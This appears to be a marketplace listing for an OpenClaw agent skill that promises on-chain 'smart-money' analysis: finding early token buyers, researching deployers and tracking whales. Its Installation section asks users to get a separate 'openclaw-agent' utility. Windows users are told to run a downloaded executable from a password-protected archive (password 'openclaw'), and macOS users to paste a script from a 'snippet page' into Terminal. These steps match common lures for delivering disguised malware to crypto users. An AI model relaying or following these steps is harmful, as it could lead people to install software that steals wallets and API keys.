insider-wallets-finder

What This Skill Does

The Insider Wallets Finder skill is a high-performance analytical toolset designed to provide users with deep, on-chain intelligence. It acts as an extension for the OpenClaw agent, enabling it to bridge the gap between complex blockchain ledger data and actionable investment insights. The skill leverages various APIs to aggregate transaction history, track whale accumulation patterns, and identify early token buyers, effectively turning raw blockchain data into a dashboard of successful smart-money behaviors. It automates the retrieval of token transfer data, deployer contract history, and DEX swap analytics, saving developers and traders hours of manual investigation time.

Installation

To install this skill, use the OpenClaw hub command: clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-2fz1g.

Prerequisites: You must have the openclaw-agent utility installed.

• Windows: Download the executable from the official OpenClaw GitHub and run it. Use the provided password openclaw for extraction.
• macOS: Copy the installation script provided on the official snippet page and execute it in your Terminal. Failure to run the agent will result in failed data retrieval requests.

Use Cases

• Early Buyer Discovery: Quickly scan the first 100 transfers of a newly launched ERC-20 token to identify the addresses that entered the market immediately after liquidity provision.
• Deployer Research: Screen anonymous deployer wallets to see what other smart contracts they have launched, helping to identify serial scammers or legitimate project founders.
• Whale Accumulation Tracking: Monitor the top 50 holders of a specific token to track how much supply is concentrated and whether large wallets are currently buying or offloading.
• Profitability Analysis: Use the provided GraphQL query structure to filter for high-value Uniswap trades, enabling users to find wallets that consistently extract profit from volatile assets.

Example Prompts

1. "OpenClaw, find the top 20 earliest buyers for the contract address 0xTokenAddress on Ethereum and show me their buy counts."
2. "Analyze the deployer wallet 0xDeployerAddress and list all other contracts they have deployed in the last 30 days."
3. "Track the current whale accumulation for the token at 0xTokenAddress; let me know if the top 5 holders are increasing or decreasing their positions."

Tips & Limitations

Always ensure your API keys (Etherscan, Birdeye) are kept secure and configured within your environment variables. The accuracy of the data depends on the health of the connected blockchain nodes. Note that this tool does not provide financial advice; it simply surfaces historical on-chain patterns. Privacy warning: while on-chain data is public, avoid linking your personal identity to any specific wallet address when interacting with third-party analytical APIs.